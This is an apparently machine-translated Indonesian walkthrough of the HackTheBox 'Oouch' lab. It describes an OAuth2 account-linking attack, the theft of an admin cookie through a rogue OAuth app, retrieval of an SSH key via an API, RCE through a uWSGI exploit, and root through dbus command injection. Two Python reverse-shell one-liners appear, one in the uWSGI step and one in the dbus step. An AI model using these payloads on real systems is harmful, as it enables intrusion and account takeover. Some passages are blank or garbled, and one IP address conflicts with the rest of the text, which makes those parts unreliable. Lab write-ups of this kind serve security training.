HackTheBox. Walkthrough Oouch. OAuth2, RCE ke uWSGI dan LPE melalui DBUS



Saya terus menerbitkan solusi yang dikirim untuk penyelesaian mesin dari platform HackTheBox .



Dalam artikel ini, kami akan menganalisis serangan terhadap otentikasi OAuth2, dan juga mendaftarkan aplikasi kami untuk membajak cookie administrator. Selain itu, kami akan menjalankan RCE di server web dan server aplikasi web uWSGI, dan juga meningkatkan hak istimewa melalui bus pesan D-Bus.



Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.



Informasi organisasi
, , Telegram . , , .



. , - , .



Pengintai



Mesin ini memiliki alamat IP 10.10.10.177, yang saya tambahkan ke / etc / hosts.



10.10.10.177 	oouch.htb


Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500






Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.



nmap -A oouch.htb -p8000,22,21,5000,5555






Jadi, kami memiliki:



  • Port 22 adalah SSH.
  • Port 8000 adalah server web yang merespons dengan kode 400.
  • Port 5000 - server web, alihkan ke halaman otorisasi.
  • Port 21 - FTP, tempat file project.txt berada, dapat diakses dengan otorisasi dari anonim.


Buka FTP sebagai anonim, unduh file dan lihat.











Tidak memberi tahu kami apa pun. Kami pergi ke server web.







Sebagai berikut dari laporan nmap, terjadi pengalihan ke halaman otorisasi. Ada kemungkinan untuk mendaftar, mari mendaftar dan kemudian masuk.















Dengan demikian, situs sedang dalam pengembangan, menyimpan informasi minimum tentang pengguna, memiliki kemampuan untuk menyimpan dokumen (opsi ini hanya tersedia untuk pengembang), dan juga mendapat umpan balik dari administrasi. Kami yakin bahwa sysadmin membaca semua pesan.



Saat mencoba mencuri cookie, tag diblokir (omong-omong, itu tidak lagi diblokir).







Tidak menemukan vektor apa pun, diputuskan untuk memindai direktori.



dirb http://oouch.htb:5000/






Dan kami menemukan satu direktori tersembunyi oauth.







Mari tambahkan domain ini ke / etc / hosts.



10.10.10.177    consumer.oouch.htb






Tapi ada pengalihan. Mari tambahkan domain ini ke / etc / hosts.



10.10.10.177    authorization.oouch.htb






Sekali lagi memenuhi halaman login. Kami masuk dengan kredensial yang sama. Tetapi dengan upaya baru, kami ditransfer ke port 8000.



consumer.oouch.htb : 5000 / oauth / connect -> authorization.oouch.htb : 8000 / login /







Setelah scan direktori, kami tidak menemukan sesuatu yang menarik, jadi kami mendaftar di sini juga.







Dan temukan direktori baru yang tidak ditemukan dirb. Mari kita cari.



dirb http://authorization.oouch.htb:8000/oauth






Ada satu direktori lagi! Tapi di sana kita bertemu dengan otentikasi HTTP.







Kami melakukannya di direktori ini juga.



dirb http://authorization.oouch.htb:8000/oauth/applications/






Kemungkinan besar aplikasi terletak di direktori ini, dan mereka dapat didaftarkan. Tidak ada yang lebih menarik di sini.



Dengan mendaftar di mana pun diperlukan, kami kembali ke koneksi asli. Otentikasi OAuth digunakan.



Otentikasi OAuth



OAuth adalah protokol otorisasi terbuka yang memungkinkan Anda memberi pihak ketiga akses terbatas ke sumber daya pengguna yang dilindungi tanpa perlu mentransfer info masuk dan sandi Anda ke pihak ketiga.



OAuth menggunakan tiga jenis kredensial: kredensial klien, kredensial sementara, dan kredensial token.



Langkah-langkah protokol OAuth 2.0:



  1. . (client ID), (client secret), URI (redirect URI) .
  2. , authorization grant.
  3. , .
  4. , , ( ). .
  5. .
  6. , .






Ini adalah bagaimana akun pengguna dikaitkan dengan sumber daya tertentu di server sumber daya.



Serangan Oauth



Protokol ini dapat diserang, yang memungkinkan kami untuk menautkan akun kami dengan sumber daya pengguna lain. Untuk melakukan ini, Anda tidak perlu menggunakan token akses sekali pakai, tetapi memaksa pengguna lain untuk mentransfernya ke server. Kemudian akun yang memiliki token akan dikaitkan dengan sumber daya akun yang menyediakannya.

Karena sysadmin menjawab semua pesan, ada kemungkinan dia akan mengikuti tautan yang akan kami kirimkan kepadanya. Selain itu, dalam aplikasi ini, token akses tidak diteruskan di header HTTP (sebagaimana mestinya), tetapi di parameter URL. Dengan cara ini kita bisa melakukan serangan ini.



Buka consumer.oouch.htb : 5000 / oauth / connect dan tangkap menggunakan Burp Suite.







Kami melewati permintaan ini, dan kami dialihkan, dan dengan parameter ID klien.







Kami melewatkan permintaan ini juga. Pengalihan mengikuti lagi, di mana kita dapat mengamati parameter lain dari protokol otentikasi.







Lewati permintaan lagi. Jendela otorisasi muncul di halaman. Untuk menyelesaikan, klik tombol otorisasi.











Kami melewatkan permintaan ini. Dan sekarang kita dialihkan lagi, dengan kode satu kali sebagai parameter!







Mari simpan token ini dan buang permintaannya. Mari kirimkan tautan ini ke administrator sehingga ketika dia mengikutinya, akun kita akan terikat dengan sumber dayanya (dan jika Anda ingat, dia berhak untuk menyimpan dokumen).







Sekarang mari kita masuk ke consumer.oouch.htb : 5000 / oauth / login.















Kami mengklik tombol yang sudah familiar, dan di halaman yang terbuka kami mengamati qtc profil pengguna.







Mari kita lihat dokumentasinya.







Ada catatan tentang kunci SSH, direktori pengguna, dan kredensial untuk mendaftarkan aplikasi.



Titik masuk



Jika kami dapat mendaftarkan aplikasi kami, kami dapat memaksa administrator untuk membukanya dan menemukan cookie-nya!



Mari kembali ke halaman pendaftaran aplikasi dan masuk. Dan di formulir yang terbuka, kami akan mendaftarkan aplikasi baru, menunjukkan tipe publik klien, tipe kode pemberian otorisasi dan menunjukkan port terbuka pada host lokal untuk koneksi.







Kami menyimpan ID klien dan rahasia klien kami. Mari kita coba mengotentikasi diri kita sendiri untuk memeriksa apakah otentikasi berfungsi dan pengguna akan dialihkan ke kita.



Mari membentuk tautan, tentukan data aplikasi terdaftar di parameter yang sesuai:



authorization.oouch.htb: 8000 / oauth / authorize / client_id = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs & redirect_uri = http: //10.10.14.203: 4321 & grant_type = authorization_code & client_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6



Sekarang mengikutinya untuk melihat koneksi.







Karena semuanya berfungsi, mari kirimkan ke administrator.







Beginilah cara kami mengenali cookie-nya. Mari terapkan.







Dan kami masuk ke server sebagai qtc.



PENGGUNA



Untuk mengakses sumber daya, kami memerlukan token, dan agar server mengembalikannya kepada kami, kami akan mengubah jenis pemberian otorisasi menjadi client_credentials.







Dan kami akan meminta token menggunakan curl: setel metode POST (-X), header HTTP yang diperlukan (-H), cookie, data yang ingin kami kirim, dan juga izinkan pengalihan (-L). Karena respons dikembalikan dalam format JSON, kami menggunakan jq untuk menampilkan respons dengan baik.



curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H β€œContent-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data β€œgrant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq






Kami menerima token. Dan sekarang kita dapat beralih ke sumber daya yang terdaftar di dokumen. Mari lakukan ini dengan ikal juga.



curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






Seperti yang diharapkan, kami menerima informasi pengguna. Tapi saya tidak tahu apa yang harus saya lakukan selanjutnya! Tebakan itu muncul hanya ketika mereka mengisyaratkan kepada saya "API untuk mendapatkan data pengguna sudah siap, tetapi ada rencana untuk mendapatkan kunci SSH". Kemudian saya berpikir bahwa, dengan analogi get_user API, untuk mendapatkan informasi tentang pengguna, saya harus mencoba memanggil get_ssh.



curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






Dan kami mendapatkan kunci pengguna qtc. Setelah membawanya ke bentuk normalnya, kami terhubung ke host dan mengambil pengguna.







AKAR



Untuk pengintaian tentang host, jalankan LinPEAS. Hasilnya, kami menemukan catatan yang ditinggalkan oleh root.











Dan selain fakta bahwa buruh pelabuhan berjalan di host dan kunci ssh pribadi, kami tidak menemukan apa pun.







Kemungkinan besar vektor serangan adalah pergi ke buruh pelabuhan. Selain itu, catatan tersebut menyebutkan DBus dan iptables. Semua orang sudah tahu tentang iptables, tapi DBus adalah masalah lain. Dbus atau Desktop Bus adalah sistem yang digunakan terutama di sistem operasi Linux untuk mengaktifkan berbagai aplikasi dan layanan untuk berkomunikasi satu sama lain.



Mari kita lihat antarmuka jaringan yang ditemukan.







Dan kami melihat 2 host. Kami berhasil masuk yang pertama.







Dan temukan direktori / kode.







Di start.sh kami menemukan penggunaan uwsgi.







Dan di routes.py kita temukan penggunaan dbus.











Dengan demikian, pengguna layanan memiliki hak untuk menggunakan dbus. Artinya, kita perlu mendapatkan cangkang.



uWSGI adalah server web dan server aplikasi web yang awalnya diimplementasikan untuk menjalankan aplikasi Python melalui protokol WSGI. Digunakan untuk menjalankan aplikasi berdasarkan kerangka kerja Django, Flask dan lainnya. Mari kita cari eksploitasi.







Unduh yang pertama dan unggah ke host.



scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/


Ayo mulai.







Jadi, kita membutuhkan soket uwsgi. Apalagi layanan tersebut sedang berjalan.







Ini berarti soket juga akan berada di direktori tmp.







Mari jalankan exploit dengan semua parameter.







Ini memberikan kesalahan saat mengimpor byte, mari masuk dan ubah kode sumber.











Jika Anda menjalankan eksploit lagi, itu akan berhasil, tetapi tidak akan berhasil. Saya mengganti shell bash dengan python. Berhasil.



python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"






Di terminal dengan netcat kita melihat koneksi.







Dan sekarang kami memiliki hak untuk menjalankan dbus. Perintah dbus-send digunakan untuk mengirim pesan ke bus pesan D-Bus. Ada dua bus pesan yang terkenal: bus pesan di seluruh sistem dan bus pesan untuk sesi login pengguna. Untuk menggunakan dbus-send Anda perlu mengetahui "nama koneksi", yang ditentukan dalam parameter --dest. Jalur ke objek dan nama pesan yang akan dikirim harus selalu ditentukan. Argumen berikut, jika ada, adalah konten pesan (argumen pesan). Mereka diberikan sebagai nama tipe, titik dua, dan kemudian nilai argumen. Nama jenis yang memungkinkan: string, int32, uint32, double, byte, boolean.



Contoh perintah:



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block β€œstring:; SHELL”


Kami menggunakan --print-reply untuk memblokir balasan atas permintaan tersebut.



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"






Dan kami melihat koneksi yang sukses.







Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kita kumpulkan komunitas yang di dalamnya akan ada orang-orang yang berpengalaman di banyak bidang TI, kemudian kita selalu dapat saling membantu dalam setiap masalah TI dan keamanan informasi.



All Articles